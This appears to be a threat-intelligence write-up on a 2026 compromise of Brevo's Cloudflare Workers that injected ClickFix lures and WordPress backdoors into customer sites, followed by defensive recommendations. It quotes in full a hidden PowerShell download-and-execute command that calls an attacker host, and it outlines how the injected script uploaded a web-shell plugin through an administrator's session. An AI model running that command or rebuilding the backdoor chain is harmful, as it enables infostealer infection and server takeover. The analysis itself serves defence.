Edge-Compute Poisoning: How Hackers Hijacked Brevo's Cloudflare Workers to Push ClickFix Malware Across 100,000+ Websites
Date: September 21, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Supply Chain Attacks / Web Application Security / Malware Analysis
Tags: Brevo, Sendinblue, Cloudflare Workers, ClickFix, Supply Chain, Infostealers, WordPress Backdoor
Executive Summary
On September 14, 2026, enterprise email marketing and customer relationship management (CRM) giant Brevo (formerly Sendinblue)—which powers communications for over 600,000 organizations worldwide, including multinational enterprises such as IKEA, Continental, Louis Vuitton, and Nestle—suffered a critical infrastructure compromise. Attackers gained access to an overprivileged, long-lived Cloudflare API key and deployed a rogue Cloudflare Worker across Brevo's primary web properties.
For approximately 5.5 hours, the malicious edge worker dynamically intercepted incoming web requests to Brevo's hosted JavaScript libraries, injecting malicious code into customer-facing web forms, conversation chat widgets, and tracking SDK loaders. Because the modification occurred directly at the Content Delivery Network (CDN) edge before scripts were delivered to client browsers, the malicious code originated from legitimate, trusted domains (brevo.com and sendinblue.com).
The attack weaponized two distinct payloads:
1. The "ClickFix" Social Engineering Framework: Visitors to compromised client websites were presented with deceptive overlays mimicking Cloudflare human verification challenges or browser update prompts. These dialogs instructed victims to copy and execute an obfuscated PowerShell cradle into their Windows Run dialog (Win + R), delivering commodity infostealers including Lumma Stealer and Vidar.
2. Automated WordPress Admin Exploitation: For visitors authenticated as WordPress administrators, the script attempted silent cross-site scripting (XSS) and AJAX-based plugin uploads, installing persistent PHP web shells with hardcoded authentication bypasses.
With an estimated 100,000+ third-party websites inadvertently serving the malicious scripts during the exposure window, this incident marks a major milestone in edge-compute supply chain warfare, exposing systemic blind spots in contemporary web security architecture.
Technical Deep-Dive: Anatomy of the Edge Attack Chain
Modern software-as-a-service (SaaS) integrations rely heavily on client-side script tags embedded in web pages. Brevo’s marketing and chat solutions are typically integrated using a standard snippet:
Under normal operational conditions, this script is cached and served via Cloudflare's edge network directly from Brevo's origin storage. However, the attacker's ability to manipulate edge-compute logic fundamentally subverted this trust relationship.
1. Initial Access & Credential Harvesting
According to post-incident disclosures and threat intelligence reports from Sansec and BleepingComputer, the adversaries acquired an active Cloudflare Global API Key belonging to Brevo. Investigations indicate the key was exposed through an upstream breach involving single sign-on (SAML SSO) configuration files and developer repository leaks.
Unlike modern, tightly scoped Cloudflare API Tokens, legacy Global API Keys provide unrestricted administrative permissions across all zones and worker services under an account, without native IP-whitelisting enforcement or automated expiration cycles.
2. Edge Worker Hijacking & Dynamic Injection
Armed with administrative API access, the threat actors deployed a custom Cloudflare Worker script and configured route triggers spanning all five of Brevo’s apex domains, including brevo.com and sendinblue.com.
Cloudflare Workers execute serverless V8 isolate environments within millisecond latency at edge points of presence (PoPs). The malicious worker was configured with a request handler that inspected inbound HTTP GET requests matching specific JavaScript bundle paths:+-----------------------------------------------------------------------------------+
| EDGE WORKER POISONING ARCHITECTURE |
|---|
Victim Browser Cloudflare CDN Edge Brevo Origin
| | |
| 1. GET sib-conversations.js | |
|------------------------------------>| |
| | 2. Fetch original clean script |
| |---------------------------------->|
| | 3. Return clean JS bundle |
| |<----------------------------------|
| | |
| | [EDGE WORKER EXECUTION] |
| | - Parse response stream |
| | - Append ClickFix loader |
| | - Inject WP-Admin exploit logic |
| | |
| 4. Injected Script Delivered | |
|<------------------------------------| |
| |
| 5. Displays Fake Cloudflare Captcha ("ClickFix") |
| 6. User executes PowerShell -> Lumma Stealer dropped |
v v
Rather than altering the static files on Brevo’s origin storage, the edge worker fetched the legitimate JavaScript file from origin, appended an obfuscated payload string to the response body, and streamed the poisoned code back to the client. This dynamic in-flight rewriting meant that Brevo's origin integrity monitoring saw no unauthorized modifications.
3. Attack Payloads: ClickFix & Administrative Hijacking
A. The ClickFix Mechanism
The primary payload injected into client browsers was an iteration of the ClickFix social engineering template. ClickFix relies on convincing users to execute arbitrary terminal commands under the guise of solving a browser malfunction or captcha error.
1. DOM Overlay Generation: The script dynamically created a high-z-index modal mimicking a legitimate Cloudflare "Checking your browser before accessing..." or Google Chrome "Update Needed" modal.
2. Clipboard Manipulation: When the victim clicked a button labeled "Verify I Am Human" or "Fix Connection", the script invoked the HTML5 Clipboard API (navigator.clipboard.writeText) to stage a PowerShell command into the user's operating system clipboard.
3. Instruction Sequence: The modal instructed the user:
* Press Windows Key + R to open the Run prompt.
* Press Ctrl + V to paste the verification string.
* Press Enter to validate browser integrity.
4. Payload Execution: The pasted command executed an obfuscated PowerShell cradle:powershell.exe -W Hidden -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://update-verifier-cdn[.]com/chk.ps1')"
This stage downloaded and executed the Lumma Stealer or Vidar payload directly into memory, immediately targeting browser cookies, stored passwords, cryptocurrency wallet extensions, and multi-factor authentication session tokens.
B. Targeted WordPress Admin Backdoors
Security researchers at Sansec observed that the injected script performed conditional checks against the browsing context:
* It inspected document.cookie for wordpress_logged_in_* tokens and evaluated window.location.pathname for /wp-admin/.
* If an authenticated WordPress administrator was identified, the script initiated a hidden background XMLHttpRequest directed to /wp-admin/plugin-install.php?tab=upload.
* The request leveraged the administrator's active session nonce (_wpnonce) to upload a rogue zip archive containing a backdoor plugin.
* The backdoor created an unindexed PHP file in /wp-content/plugins/rev-slider-cache/cache-handler.php with a pre-shared authentication header, allowing the attackers to execute arbitrary system commands via HTTP POST requests indefinitely.
Why Modern Perimeter Defenses Failed
This attack demonstrated severe limitations in commonly deployed enterprise web application defenses:
Security Control
Why It Failed in the Brevo Attack
Content Security Policy (CSP)
Most enterprise CSP headers explicitly whitelist script-src https://*.brevo.com https://*.sendinblue.com so forms and chat widgets can function. Because the injection occurred on the trusted domain, CSP allowed it to execute without restriction.
Subresource Integrity (SRI)
Third-party SaaS vendors routinely discourage the use of static integrity="sha384-..." hashes on client-embedded scripts because they frequently push updates, hotfixes, and A/B tests. Without SRI enforcement, browser verification of script integrity was completely absent.
Origin Integrity Monitoring
File integrity monitoring (FIM) and repository scanning on Brevo's origin servers remained completely green because the source files on origin were never modified; the payload was inserted purely at the CDN cache layer by the edge worker.
Incident Timeline (September 14, 2026)
* 08:15 UTC: Attackers authenticate to the Cloudflare API utilizing Brevo's compromised Global API credentials.
* 08:32 UTC: Malicious Cloudflare Worker script deployed and mapped to edge routes matching Brevo's script endpoints.
* 09:10 UTC: Security research teams (including Sansec) begin observing anomalies, including abnormal Last-Modified timestamps and unauthorized script behaviors on ecommerce stores.
* 13:45 UTC: Brevo security engineers identify unauthorized API activities and initiate emergency containment procedures.
* 14:02 UTC: Malicious Cloudflare Worker route disabled; API keys revoked; edge cache purged globally across all PoPs.
* 17:30 UTC: Brevo releases public status incident write-up confirming the scope of the incident.
Industry Impact & Risk Analysis
The Brevo compromise highlights the compounding vulnerability of modern SaaS ecosystems:
1. Massive Blast Radius: Brevo operates across hundreds of thousands of digital properties. The 5.5-hour exposure window occurred during peak business hours in Europe and the Americas, exposing tens of millions of end-user sessions.
2. Elevation from Visitor to Server Admin: By chaining client-side script poisoning with automated WordPress administrative targeting, attackers successfully converted an external marketing script into direct root/web-server footholds on thousands of independent hosting servers.
3. Normalization of Edge-Level Attacks: Threat actors are shifting focus from complex web server exploitations toward edge infrastructure (Cloudflare Workers, Fastly Compute@Edge, AWS CloudFront Functions) where access controls are frequently centralized into single administrative keys.
Comprehensive Mitigation & Actionable Recommendations
For Organizations Hosting Embedded Third-Party Scripts
1. Audit and Inventory Third-Party Dependencies:
* Scan all web applications for embedded scripts hosted on external domains.
* Wherever feasible, self-host critical JavaScript libraries on an organization-controlled CDN origin rather than referencing third-party URLs directly.
2. Implement Sandboxed iFrames for Third-Party Components:
* Instead of inserting marketing or analytics scripts directly into the top-level window context, load third-party widgets inside isolated